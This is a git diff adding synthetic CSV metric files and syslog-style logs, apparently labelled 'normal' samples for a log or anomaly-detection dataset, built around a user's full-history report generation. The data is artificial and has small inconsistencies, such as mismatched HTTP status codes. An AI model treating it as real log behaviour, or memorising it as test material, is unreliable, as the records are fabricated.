22 10:33:20 web-app[2235]: INFO: Report 'Global Exports': Aggregating sales data... +Aug 22 10:34:35 web-app[2235]: INFO: Report 'Global Exports': Compiling PDF document from temporary files... +Aug 22 10:35:45 web-app[2235]: INFO: Report generation for 'jane.smith' complete. File size: 150MB. +Aug 22 10:36:15 web-app[2235]: GET /api/v1/user/45 status=200 OK +Aug 22 10:37:05 systemd[1]: Starting daily clean up activities... diff --git a/norm_dataset/scenario_10/norm_10_18.csv b/norm_dataset/scenario_10/norm_10_18.csv new file mode 100644 index 0000000000000000000000000000000000000000..65e58f8732afb76063c88d30a394d7d15200e3fb --- /dev/null +++ b/norm_dataset/scenario_10/norm_10_18.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-13T10:00:00Z,11.52,35.49,25.49,0.78,0.78 +2025-07-13T10:00:05Z,16.32,43.73,37.01,1.23,0.75 +2025-07-13T10:00:10Z,19.96,42.51,27.81,0.92,0.77 +2025-07-13T10:00:15Z,13.58,42.6,30.81,1.07,1.24 +2025-07-13T10:00:20Z,12.34,37.06,25.96,0.79,1.02 +2025-07-13T10:00:25Z,17.96,38.46,38.74,1.12,0.78 +2025-07-13T10:00:30Z,14.48,35.65,38.11,0.86,0.72 +2025-07-13T10:00:35Z,15.28,42.7,31.9,0.75,1.19 +2025-07-13T10:00:40Z,13.31,42.3,39.2,0.98,1.03 +2025-07-13T10:00:45Z,12.06,35.02,32.76,1.16,0.85 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--git a/norm_dataset/scenario_10/norm_10_18.log b/norm_dataset/scenario_10/norm_10_18.log new file mode 100644 index 0000000000000000000000000000000000000000..f85932132ead50d5dc7dc6c994d5bdee5e0d4bc4 --- /dev/null +++ b/norm_dataset/scenario_10/norm_10_18.log @@ -0,0 +1,14 @@ +Jul 13 10:00:20 systemd[1]: Starting daily clean up activities... +Jul 13 10:00:40 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Jul 13 10:01:20 CRON[6789]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 13 10:01:35 web-app[4123]: INFO: User 'john.doe' requested full-history report for account 'ACME Corp'. Starting generation... +Jul 13 10:02:20 report-generator[7890]: INFO: Querying database for sales data from 2010-2025... +Jul 13 10:02:55 report-generator[7890]: INFO: Aggregating financial records for ACME Corp. +Jul 13 10:03:25 CRON[6789]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 13 10:04:05 systemd[1]: Starting daily clean up activities... +Jul 13 10:04:35 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Jul 13 10:04:55 web-app[4123]: GET /api/v1/user/43 status=201 Created +Jul 13 10:05:20 CRON[6789]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 13 10:06:15 report-generator[7890]: INFO: Report generation for 'john.doe' complete. File size: 150MB. +Jul 13 10:06:30 web-app[4123]: INFO: Notifying user 'john.doe' that report is ready for download. +Jul 13 10:07:15 web-app[4123]: GET /api/v1/user/30 status=201 Created diff --git a/norm_dataset/scenario_10/norm_10_19.csv b/norm_dataset/scenario_10/norm_10_19.csv new file mode 100644 index 0000000000000000000000000000000000000000..197af69adf3d1ba421ad7410076b6e4c277b36e2 --- /dev/null +++ b/norm_dataset/scenario_10/norm_10_19.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-22T10:00:00Z,16.29,41.1,23.9,1.19,0.91 +2025-08-22T10:00:05Z,12.08,40.91,35.55,0.83,1.0 +2025-08-22T10:00:10Z,12.76,45.78,38.96,0.72,0.98 +2025-08-22T10:00:15Z,17.5,45.33,26.4,0.72,0.8 +2025-08-22T10:00:20Z,13.87,46.32,38.08,0.8,1.14 +2025-08-22T10:00:25Z,10.83,41.05,27.19,1.38,0.94 +2025-08-22T10:00:30Z,19.0,44.73,38.62,1.15,1.19 +2025-08-22T10:00:35Z,14.15,42.39,21.19,0.78,1.28 +2025-08-22T10:00:40Z,10.89,49.37,22.6,1.06,1.27 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+2025-08-22T10:07:25Z,13.43,43.59,27.55,0.99,1.12 diff --git a/norm_dataset/scenario_10/norm_10_19.log b/norm_dataset/scenario_10/norm_10_19.log new file mode 100644 index 0000000000000000000000000000000000000000..f344a7d67183998694ca70fd21a67e5e54c8f2f1 --- /dev/null +++ b/norm_dataset/scenario_10/norm_10_19.log @@ -0,0 +1,21 @@ +Aug 22 10:00:00 web-app[1234]: GET /api/v1/user/25 status=200 OK +Aug 22 10:00:20 web-app[1234]: GET /api/v1/user/19 status=200 OK +Aug 22 10:00:40 web-app[1234]: GET /api/v1/user/22 status=200 OK +Aug 22 10:01:00 web-app[1234]: GET /api/v1/user/28 status=200 OK +Aug 22 10:01:15 systemd[1]: Starting daily clean up activities... +Aug 22 10:01:20 web-app[1234]: GET /api/v1/user/24 status=200 OK +Aug 22 10:01:40 web-app[1234]: GET /api/v1/user/41 status=200 OK +Aug 22 10:02:00 web-app[1234]: GET /api/v1/user/22 status=200 OK +Aug 22 10:02:20 web-app[1234]: GET /api/v1/user/45 status=200 OK +Aug 22 10:02:30 web-app[1234]: INFO: User 'john.doe' requested full-history report for account 'ACME Corp'. Starting generation... +Aug 22 10:02:45 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-deployment +Aug 22 10:03:40 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-deployment +Aug 22 10:03:50 CRON[6802]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 22 10:04:35 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-deployment +Aug 22 10:05:30 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-deployment +Aug 22 10:05:45 CRON[6802]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 22 10:05:50 web-app[1234]: INFO: Report generation for 'john.doe' complete. File size: 150MB. +Aug 22 10:06:20 web-app[1234]: GET /api/v1/user/18 status=200 OK +Aug 22 10:06:40 web-app[1234]: GET /api/v1/user/29 status=200 OK +Aug 22 10:07:00 web-app[1234]: GET /api/v1/user/28 status=200 OK +Aug 22 10:07:20 web-app[1234]: GET /api/v1/user/23 status=200 OK \ No newline at end of file diff --git a/norm_dataset/scenario_10/norm_10_2.csv b/norm_dataset/scenario_10/norm_10_2.csv new file mode 100644 index 0000000000000000000000000000000000000000..3993932356cf7b0efb2c6f440f3120dcab53041d --- /dev/null +++ b/norm_dataset/scenario_10/norm_10_2.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-02T14:00:00Z,16.830305868579867,40.60088393856537,5.24676355011478,1.2670407531971624,1.0947870988311934 +2025-07-02T14:00:05Z,15.801008398697828,39.700702904088764,6.66060511806252,0.8293735020345396,1.2571561378676521 +2025-07-02T14:00:10Z,10.090998688676585,38.85601370171284,6.320258450125404,0.7630284422999106,1.4677396055241028 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+2025-07-02T14:06:55Z,11.160758291456538,65.10114085151173,3.903144965832407,1.1259356631763935,0.6871953488385385 +2025-07-02T14:07:00Z,13.091753656397747,54.62412680934399,6.679930558795718,1.384659594558904,1.271548341698764 +2025-07-02T14:07:05Z,15.317035241885307,51.59846081971047,5.858629556750446,0.5651338824055543,1.4763634491190007 +2025-07-02T14:07:10Z,17.305540218920598,48.62814287787471,4.1015443832376715,1.3059198002748087,0.6170316261077131 +2025-07-02T14:07:15Z,10.401029272974654,44.04588102424064,5.088415517026963,1.228445162611552,0.6681448617449981 +2025-07-02T14:07:20Z,19.776105621503348,46.99904005676926,5.246954775211657,0.8675072573053758,0.9313601372501187 +2025-07-02T14:07:25Z,12.905570720927468,41.1364755805283,5.520154849147573,1.4940319347801747,0.5776817672249636 diff --git a/norm_dataset/scenario_10/norm_10_2.log b/norm_dataset/scenario_10/norm_10_2.log new file mode 100644 index 0000000000000000000000000000000000000000..6c00af1d78af081eca0ad6c9e2d28ec421ae8cf5 --- /dev/null +++ b/norm_dataset/scenario_10/norm_10_2.log @@ -0,0 +1,24 @@ +Jul 02 14:00:00 kubelet[1122]: INFO Liveness probe succeeded for pod web-app-pod +Jul 02 14:00:00 systemd[1]: Starting daily clean up activities... +Jul 02 14:00:00 web-app[2235]: GET /api/v1/user/34 status=200 OK +Jul 02 14:00:40 web-app[2235]: GET /api/v1/user/34 status=200 OK +Jul 02 14:01:15 systemd[1]: Starting daily clean up activities... +Jul 02 14:01:20 web-app[2235]: GET /api/v1/user/34 status=200 OK +Jul 02 14:01:40 web-app[2235]: INFO: User 'john.doe' requested full-history report for account 'ACME Corp'. Starting generation... +Jul 02 14:02:00 web-app[2235]: GET /api/v1/user/34 status=200 OK +Jul 02 14:02:05 kubelet[1122]: INFO Liveness probe succeeded for pod web-app-pod +Jul 02 14:02:30 systemd[1]: Starting daily clean up activities... +Jul 02 14:02:40 web-app[2235]: GET /api/v1/user/34 status=200 OK +Jul 02 14:03:20 web-app[2235]: GET /api/v1/user/34 status=200 OK +Jul 02 14:03:45 systemd[1]: Starting daily clean up activities... +Jul 02 14:04:00 web-app[2235]: GET /api/v1/user/34 status=200 OK +Jul 02 14:04:10 kubelet[1122]: INFO Liveness probe succeeded for pod web-app-pod +Jul 02 14:04:40 web-app[2235]: GET /api/v1/user/34 status=200 OK +Jul 02 14:05:00 systemd[1]: Starting daily clean up activities... +Jul 02 14:05:20 web-app[2235]: GET /api/v1/user/34 status=200 OK +Jul 02 14:06:00 web-app[2235]: GET /api/v1/user/34 status=200 OK +Jul 02 14:06:15 kubelet[1122]: INFO Liveness probe succeeded for pod web-app-pod +Jul 02 14:06:15 systemd[1]: Starting daily clean up activities... +Jul 02 14:06:15 web-app[2235]: INFO: Report generation for 'john.doe' complete. File size: 150MB. +Jul 02 14:06:40 web-app[2235]: GET /api/v1/user/34 status=200 OK +Jul 02 14:07:20 web-app[2235]: GET /api/v1/user/34 status=200 OK diff --git a/norm_dataset/scenario_10/norm_10_20.csv b/norm_dataset/scenario_10/norm_10_20.csv new file mode 100644 index 0000000000000000000000000000000000000000..0d63fd84be25d2bf2b3ee45b19cf5e9b584fc4ef --- /dev/null +++ b/norm_dataset/scenario_10/norm_10_20.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-22T10:00:00Z,16.53,41.82,8.61,1.03,0.76 +2025-08-22T10:00:05Z,14.35,37.2,7.72,1.52,0.75 +2025-08-22T10:00:10Z,15.19,30.31,8.91,1.22,1.03 +2025-08-22T10:00:15Z,16.57,35.97,12.02,1.35,0.51 +2025-08-22T10:00:20Z,16.8,34.21,12.86,1.44,1.02 +2025-08-22T10:00:25Z,14.98,31.58,10.82,1.19,0.75 +2025-08-22T10:00:30Z,12.78,34.6,9.27,1.06,1.0 +2025-08-22T10:00:35Z,16.76,31.74,12.18,0.8,0.7 +2025-08-22T10:00:40Z,14.27,35.32,11.22,0.8,0.68 +2025-08-22T10:00:45Z,15.03,33.36,11.67,0.78,0.92 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a/norm_dataset/scenario_10/norm_10_20.log b/norm_dataset/scenario_10/norm_10_20.log new file mode 100644 index 0000000000000000000000000000000000000000..004b7d383cf2b952034cbd41c054fa12dd3f966e --- /dev/null +++ b/norm_dataset/scenario_10/norm_10_20.log @@ -0,0 +1,32 @@ +Aug 22 10:00:00 systemd[1]: Starting daily clean up activities... +Aug 22 10:00:00 web-app[1234]: GET /api/v1/user/39 status=200 OK +Aug 22 10:00:20 web-app[1234]: GET /api/v1/user/18 status=201 OK +Aug 22 10:00:40 web-app[1234]: GET /api/v1/user/35 status=200 OK +Aug 22 10:01:00 web-app[1234]: GET /api/v1/user/20 status=200 OK +Aug 22 10:01:00 web-app[1234]: INFO: User 'john.doe' requested full-history report for account 'ACME Corp'. Starting generation... +Aug 22 10:01:20 web-app[1234]: GET /api/v1/user/18 status=200 OK +Aug 22 10:01:25 systemd[1]: Starting daily clean up activities... +Aug 22 10:01:40 CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 22 10:01:40 web-app[1234]: GET /api/v1/user/20 status=200 OK +Aug 22 10:02:00 web-app[1234]: GET /api/v1/user/49 status=201 OK +Aug 22 10:02:20 web-app[1234]: GET /api/v1/user/41 status=304 OK +Aug 22 10:02:40 web-app[1234]: GET /api/v1/user/10 status=201 OK +Aug 22 10:02:50 systemd[1]: Starting daily clean up activities... +Aug 22 10:03:00 web-app[1234]: GET /api/v1/user/48 status=200 OK +Aug 22 10:03:20 web-app[1234]: GET /api/v1/user/24 status=200 OK +Aug 22 10:03:40 web-app[1234]: GET /api/v1/user/43 status=200 OK +Aug 22 10:04:00 web-app[1234]: GET /api/v1/user/15 status=200 OK +Aug 22 10:04:15 systemd[1]: Starting daily clean up activities... +Aug 22 10:04:20 web-app[1234]: GET /api/v1/user/37 status=200 OK +Aug 22 10:04:40 web-app[1234]: GET /api/v1/user/48 status=304 OK +Aug 22 10:05:00 web-app[1234]: GET /api/v1/user/25 status=304 OK +Aug 22 10:05:20 web-app[1234]: GET /api/v1/user/29 status=200 OK +Aug 22 10:05:40 systemd[1]: Starting daily clean up activities... +Aug 22 10:05:40 web-app[1234]: GET /api/v1/user/21 status=200 OK +Aug 22 10:06:00 web-app[1234]: GET /api/v1/user/47 status=200 OK +Aug 22 10:06:20 web-app[1234]: GET /api/v1/user/14 status=200 OK +Aug 22 10:06:30 web-app[1234]: INFO: Report generation for 'john.doe' complete. File size: 150MB. +Aug 22 10:06:40 web-app[1234]: GET /api/v1/user/24 status=200 OK +Aug 22 10:07:00 web-app[1234]: GET /api/v1/user/26 status=200 OK +Aug 22 10:07:05 systemd[1]: Starting daily clean up activities... +Aug 22 10:07:20 web-app[1234]: GET /api/v1/user/31 status=200 OK diff --git a/norm_dataset/scenario_10/norm_10_21.csv b/norm_dataset/scenario_10/norm_10_21.csv new file mode 100644 index 0000000000000000000000000000000000000000..dfcfba39574e6ec013ec2e69ba3e29fe9f278bff --- /dev/null +++ b/norm_dataset/scenario_10/norm_10_21.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-22T10:00:00Z,13.13241469125908,41.99321617280272,9.14965376443898,0.8632731859245037,1.8947663730871138 +2025-08-22T10:00:05Z,12.003632982959509,35.995308752265395,6.035496032879268,1.2854242794697346,0.9020377237581066 +2025-08-22T10:00:10Z,10.47203312389236,40.00080448552621,6.459544243293573,1.0383587652481068,1.4332402278140455 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--- /dev/null +++ b/norm_dataset/scenario_10/norm_10_21.log @@ -0,0 +1,13 @@ +Aug 22 10:00:10 systemd[1]: Starting daily clean up activities... +Aug 22 10:00:25 web-app[3456]: GET /api/v1/user/settings status=200 OK +Aug 22 10:00:50 web-app[3456]: POST /api/v1/login user='jane.doe' status=200 OK +Aug 22 10:01:15 CRON[6789]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 22 10:01:40 web-app[3456]: GET /reports/generate/full-history user='john.doe' status=202 Accepted +Aug 22 10:01:45 report-worker[7890]: INFO: User 'john.doe' requested full-history report for account 'ACME Corp'. Starting generation... +Aug 22 10:02:30 report-worker[7890]: INFO: Querying database for sales data from 2010-2025... +Aug 22 10:03:20 report-worker[7890]: INFO: Writing 5GB of raw data to temporary file /tmp/report_xyz.tmp... +Aug 22 10:04:45 report-worker[7890]: INFO: Aggregating monthly figures and calculating growth metrics... +Aug 22 10:05:50 report-worker[7890]: INFO: Report generation for 'john.doe' complete. File size: 150MB. +Aug 22 10:06:00 web-app[3456]: GET /reports/download/report_xyz.pdf user='john.doe' status=200 OK +Aug 22 10:06:40 systemd[1]: Starting session cleanup for user 'john.doe'. +Aug 22 10:07:05 web-app[3456]: GET /api/v1/dashboard status=200 OK diff --git a/norm_dataset/scenario_10/norm_10_22.csv b/norm_dataset/scenario_10/norm_10_22.csv new file mode 100644 index 0000000000000000000000000000000000000000..39007465d35a70c93265e39b0389fd1c19b1f6b9 --- /dev/null +++ b/norm_dataset/scenario_10/norm_10_22.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-02T12:00:00Z,13.43,37.95,31.45,0.93,0.89 +2025-07-02T12:00:05Z,12.11,43.79,29.02,0.98,0.63 +2025-07-02T12:00:10Z,14.56,39.55,28.76,0.9,0.69 +2025-07-02T12:00:15Z,15.12,38.22,25.97,1.18,0.5 +2025-07-02T12:00:20Z,11.4,41.46,29.8,1.47,0.89 +2025-07-02T12:00:25Z,15.84,39.13,29.1,0.92,0.81 +2025-07-02T12:00:30Z,14.95,40.65,31.41,1.05,1.15 +2025-07-02T12:00:35Z,13.73,41.24,32.46,0.67,0.69 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+2025-07-02T12:07:20Z,11.98,42.22,34.45,1.06,1.36 +2025-07-02T12:07:25Z,12.7,41.95,26.45,1.26,0.71 diff --git a/norm_dataset/scenario_10/norm_10_22.log b/norm_dataset/scenario_10/norm_10_22.log new file mode 100644 index 0000000000000000000000000000000000000000..e65a7737dd6198d7342b56059792469bd0ee0a4a --- /dev/null +++ b/norm_dataset/scenario_10/norm_10_22.log @@ -0,0 +1,19 @@ +Jul 02 12:00:00 systemd[1]: Starting daily clean up activities... +Jul 02 12:00:20 systemd[1]: Starting daily clean up activities... +Jul 02 12:00:45 web-app[1234]: GET /api/v1/dashboard status=200 OK +Jul 02 12:01:10 web-app[1234]: GET /api/v1/dashboard status=200 OK +Jul 02 12:01:30 systemd[1]: Starting daily clean up activities... +Jul 02 12:01:55 web-app[1234]: POST /api/v1/settings status=201 Created +Jul 02 12:02:00 web-app[1234]: INFO: User 'john.doe' requested full-history report for account 'ACME Corp'. Starting generation... +Jul 02 12:02:20 web-app[1234]: GET /api/v1/dashboard status=200 OK +Jul 02 12:02:55 web-app[1234]: GET /api/v1/dashboard status=200 OK +Jul 02 12:03:35 web-app[1234]: GET /api/v1/user/78 status=200 OK +Jul 02 12:03:55 web-app[1234]: GET /api/v1/dashboard status=200 OK +Jul 02 12:04:30 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Jul 02 12:05:00 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Jul 02 12:05:25 CRON[4521]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 12:05:50 CRON[4521]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 12:06:25 web-app[1234]: POST /api/v1/settings status=201 Created +Jul 02 12:06:45 web-app[1234]: GET /api/v1/dashboard status=200 OK +Jul 02 12:07:00 web-app[1234]: INFO: Report generation for 'john.doe' complete. File size: 150MB. +Jul 02 12:07:20 web-app[1234]: GET /api/v1/user/78 status=200 OK diff --git a/norm_dataset/scenario_10/norm_10_23.csv b/norm_dataset/scenario_10/norm_10_23.csv new file mode 100644 index 0000000000000000000000000000000000000000..5c2017824282860f8b9cc7dd6bb8f80fe7ee61e5 --- /dev/null +++ b/norm_dataset/scenario_10/norm_10_23.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-22T10:00:00Z,18.35,44.44,34.24,1.19,1.0 +2025-08-22T10:00:05Z,24.09,43.44,27.63,1.16,0.71 +2025-08-22T10:00:10Z,18.82,42.56,26.37,1.35,1.24 +2025-08-22T10:00:15Z,20.44,43.89,34.76,1.46,0.96 +2025-08-22T10:00:20Z,20.95,40.49,28.96,1.24,1.27 +2025-08-22T10:00:25Z,23.95,43.09,33.33,1.07,0.82 +2025-08-22T10:00:30Z,22.14,40.8,25.4,1.29,1.1 +2025-08-22T10:00:35Z,16.27,41.34,33.93,1.31,1.0 +2025-08-22T10:00:40Z,17.09,40.87,27.44,1.37,0.71 +2025-08-22T10:00:45Z,22.18,40.88,30.4,1.12,0.77 +2025-08-22T10:00:50Z,23.82,44.2,32.01,1.4,0.73 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b/norm_dataset/scenario_10/norm_10_23.log new file mode 100644 index 0000000000000000000000000000000000000000..e493d488ef4f1f5c7db105216f9c1093272ce1d8 --- /dev/null +++ b/norm_dataset/scenario_10/norm_10_23.log @@ -0,0 +1,13 @@ +Aug 22 10:00:10 systemd[1]: Starting daily clean up activities... +Aug 22 10:00:18 web-app[1234]: GET /api/v1/user/99 status=200 OK +Aug 22 10:00:42 CRON[6789]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 22 10:00:55 web-app[1234]: GET /api/v1/user/74 status=200 OK +Aug 22 10:01:00 web-app[1234]: INFO User 'john.doe' requested full-history report for account 'ACME Corp'. Starting generation... +Aug 22 10:01:33 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Aug 22 10:02:21 web-app[1234]: GET /api/v1/status status=200 OK +Aug 22 10:03:35 systemd[1]: Starting session c231 of user anotheruser. +Aug 22 10:04:40 web-app[1234]: GET /api/v1/user/15 status=200 OK +Aug 22 10:06:15 web-app[1234]: INFO Report generation for 'john.doe' complete. File size: 150MB. +Aug 22 10:06:25 web-app[1234]: POST /api/v1/download/report/a7d8f9c1 status=200 OK +Aug 22 10:06:50 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Aug 22 10:07:15 systemd[1]: Finished daily clean up activities. diff --git a/norm_dataset/scenario_10/norm_10_24.csv b/norm_dataset/scenario_10/norm_10_24.csv new file mode 100644 index 0000000000000000000000000000000000000000..626420bc7afd0b3f592a4cf06d563ae7aa555022 --- /dev/null +++ b/norm_dataset/scenario_10/norm_10_24.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-02T12:00:00Z,13.35,41.88,6.37,1.46,1.27 +2025-07-02T12:00:05Z,18.87,37.63,12.85,1.1,1.24 +2025-07-02T12:00:10Z,19.24,40.2,13.92,1.22,1.07 +2025-07-02T12:00:15Z,15.5,35.17,10.44,0.87,1.2 +2025-07-02T12:00:20Z,14.95,38.82,12.78,1.08,0.93 +2025-07-02T12:00:25Z,19.09,40.12,14.76,1.24,0.82 +2025-07-02T12:00:30Z,89.28,45.46,17.33,0.84,0.83 +2025-07-02T12:00:35Z,78.19,45.89,16.53,0.62,0.67 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+2025-07-02T12:07:20Z,16.19,43.3,7.57,1.46,1.02 +2025-07-02T12:07:25Z,20.43,41.76,10.97,1.38,1.09 diff --git a/norm_dataset/scenario_10/norm_10_24.log b/norm_dataset/scenario_10/norm_10_24.log new file mode 100644 index 0000000000000000000000000000000000000000..83783de5bc5182f55e6a16978cb1777d4a17aae0 --- /dev/null +++ b/norm_dataset/scenario_10/norm_10_24.log @@ -0,0 +1,40 @@ +Jul 02 12:00:10 web-app[1234]: GET /api/v1/user/10 status=200 OK +Jul 02 12:00:20 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Jul 02 12:00:25 systemd[1]: Starting daily clean up activities... +Jul 02 12:00:30 web-app[1234]: INFO: User 'john.doe' requested full-history report for account 'ACME Corp'. Starting generation... +Jul 02 12:00:40 web-app[1234]: GET /api/v1/user/11 status=200 OK +Jul 02 12:00:50 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Jul 02 12:01:10 web-app[1234]: GET /api/v1/user/12 status=200 OK +Jul 02 12:01:20 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Jul 02 12:01:25 systemd[1]: Starting daily clean up activities... +Jul 02 12:01:40 web-app[1234]: GET /api/v1/user/13 status=200 OK +Jul 02 12:01:50 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Jul 02 12:02:10 web-app[1234]: GET /api/v1/user/14 status=200 OK +Jul 02 12:02:20 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Jul 02 12:02:25 systemd[1]: Starting daily clean up activities... +Jul 02 12:02:40 web-app[1234]: GET /api/v1/user/10 status=200 OK +Jul 02 12:02:50 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Jul 02 12:03:10 web-app[1234]: GET /api/v1/user/11 status=200 OK +Jul 02 12:03:20 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Jul 02 12:03:25 systemd[1]: Starting daily clean up activities... +Jul 02 12:03:40 web-app[1234]: GET /api/v1/user/12 status=200 OK +Jul 02 12:03:50 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Jul 02 12:04:10 web-app[1234]: GET /api/v1/user/13 status=200 OK +Jul 02 12:04:20 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Jul 02 12:04:25 systemd[1]: Starting daily clean up activities... +Jul 02 12:04:40 web-app[1234]: GET /api/v1/user/14 status=200 OK +Jul 02 12:04:50 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Jul 02 12:05:10 web-app[1234]: GET /api/v1/user/10 status=200 OK +Jul 02 12:05:20 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Jul 02 12:05:25 systemd[1]: Starting daily clean up activities... +Jul 02 12:05:40 web-app[1234]: GET /api/v1/user/11 status=200 OK +Jul 02 12:05:50 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Jul 02 12:06:10 web-app[1234]: GET /api/v1/user/12 status=200 OK +Jul 02 12:06:20 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Jul 02 12:06:25 systemd[1]: Starting daily clean up activities... +Jul 02 12:06:30 web-app[1234]: INFO: Report generation for 'john.doe' complete. File size: 150MB. +Jul 02 12:06:40 web-app[1234]: GET /api/v1/user/13 status=200 OK +Jul 02 12:06:50 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Jul 02 12:07:10 web-app[1234]: GET /api/v1/user/14 status=200 OK +Jul 02 12:07:20 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Jul 02 12:07:25 systemd[1]: Starting daily clean up activities... diff --git a/norm_dataset/scenario_10/norm_10_25.csv b/norm_dataset/scenario_10/norm_10_25.csv new file mode 100644 index 0000000000000000000000000000000000000000..d15bb5feaa81988d9ccceb8af8c78eb1a7eac497 --- /dev/null +++ b/norm_dataset/scenario_10/norm_10_25.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-22T10:00:00Z,17.44,33.25,9.93,1.35,0.5 +2025-08-22T10:00:05Z,13.83,38.19,8.69,1.07,0.99 +2025-08-22T10:00:10Z,10.71,35.7,10.23,1.21,0.87 +2025-08-22T10:00:15Z,16.18,36.75,10.47,0.52,0.83 +2025-08-22T10:00:20Z,15.66,35.42,6.68,0.85,0.78 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+2025-08-22T10:07:05Z,10.78,30.0,11.45,1.15,0.82 +2025-08-22T10:07:10Z,15.06,30.0,10.17,0.89,0.9 +2025-08-22T10:07:15Z,16.03,30.0,12.7,0.93,0.85 +2025-08-22T10:07:20Z,16.95,30.0,14.96,0.86,0.5 +2025-08-22T10:07:25Z,16.08,30.0,8.31,1.07,0.92 diff --git a/norm_dataset/scenario_10/norm_10_25.log b/norm_dataset/scenario_10/norm_10_25.log new file mode 100644 index 0000000000000000000000000000000000000000..81929ece5431d4f5c2b63c64450a9bb22a14d986 --- /dev/null +++ b/norm_dataset/scenario_10/norm_10_25.log @@ -0,0 +1,17 @@ +Aug 22 10:00:00 web-app[2145]: GET /api/v1/status status=200 OK +Aug 22 10:00:00 systemd[1]: Starting daily clean up activities... +Aug 22 10:00:25 web-app[2145]: GET /api/v1/status status=200 OK +Aug 22 10:00:40 systemd[1]: Starting daily clean up activities... +Aug 22 10:00:50 web-app[2145]: GET /api/v1/status status=200 OK +Aug 22 10:01:15 web-app[2145]: GET /api/v1/status status=200 OK +Aug 22 10:01:15 web-app[2145]: INFO User 'jane.doe' logged in successfully. +Aug 22 10:01:20 systemd[1]: Starting daily clean up activities... +Aug 22 10:01:40 web-app[2145]: GET /api/v1/status status=200 OK +Aug 22 10:02:00 web-app[2145]: INFO: User 'john.doe' requested full-history report for account 'ACME Corp'. Starting generation... +Aug 22 10:02:25 web-app[2145]: INFO: [ReportID: XYZ123] Querying database for report data... +Aug 22 10:03:40 web-app[2145]: INFO: [ReportID: XYZ123] Aggregating data for 'ACME Corp' report... +Aug 22 10:05:20 web-app[2145]: INFO: [ReportID: XYZ123] Rendering report to PDF format... +Aug 22 10:06:00 web-app[2145]: INFO: Report generation for 'john.doe' complete. File size: 150MB. +Aug 22 10:06:30 web-app[2145]: GET /api/v1/user/list status=200 OK +Aug 22 10:06:40 kubelet[3456]: INFO Liveness probe succeeded for pod web-app-pod +Aug 22 10:07:00 web-app[2145]: GET /api/v1/user/list status=200 OK \ No newline at end of file diff --git a/norm_dataset/scenario_10/norm_10_26.csv b/norm_dataset/scenario_10/norm_10_26.csv new file mode 100644 index 0000000000000000000000000000000000000000..e2d622f8f89a5ae00caa8e5f87ba63b6e8b38fb3 --- /dev/null +++ b/norm_dataset/scenario_10/norm_10_26.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-02T12:00:00Z,17.3,35.0,13.16,0.76,1.14 +2025-07-02T12:00:05Z,14.02,35.0,13.5,1.05,1.12 +2025-07-02T12:00:10Z,15.28,35.0,9.03,0.91,0.81 +2025-07-02T12:00:15Z,17.36,35.0,9.38,1.25,0.83 +2025-07-02T12:00:20Z,17.69,35.0,11.04,0.66,1.14 +2025-07-02T12:00:25Z,14.97,35.0,7.79,0.84,1.39 +2025-07-02T12:00:30Z,11.67,35.0,13.98,0.5,0.96 +2025-07-02T12:00:35Z,17.64,35.0,12.45,0.95,0.84 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+2025-07-02T12:04:00Z,98.51,61.23,13.24,1.42,1.16 +2025-07-02T12:04:05Z,94.35,58.91,11.38,1.1,1.15 +2025-07-02T12:04:10Z,93.17,64.93,8.31,0.86,0.96 +2025-07-02T12:04:15Z,96.18,63.12,7.08,0.91,0.79 +2025-07-02T12:04:20Z,96.78,63.58,14.25,1.19,0.5 +2025-07-02T12:04:25Z,98.86,64.74,11.74,1.09,0.85 +2025-07-02T12:04:30Z,94.83,65.94,12.59,0.88,0.72 